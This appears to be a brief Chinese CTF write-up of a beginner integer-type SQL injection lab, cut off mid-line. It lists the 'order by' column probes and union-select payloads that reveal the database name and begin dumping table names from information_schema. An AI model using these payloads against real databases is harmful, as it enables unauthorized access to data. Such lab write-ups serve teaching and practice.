（sql初学实践1）SQL 整数型注入--wp

进入环境：

只有输入1和2有回显

接着，判断列数：

依次输入

id=1 order by 1

id=1 order by 2

id=1 order by 3

到3时，没有回显，报错，说明这时表格只有两列

下一步

取得数据库名称：

1 and 0 union select 1,database()

 s数据库名称为sqli

下一步

爆表名

-1 union select  1,group_concat(table_name) from informat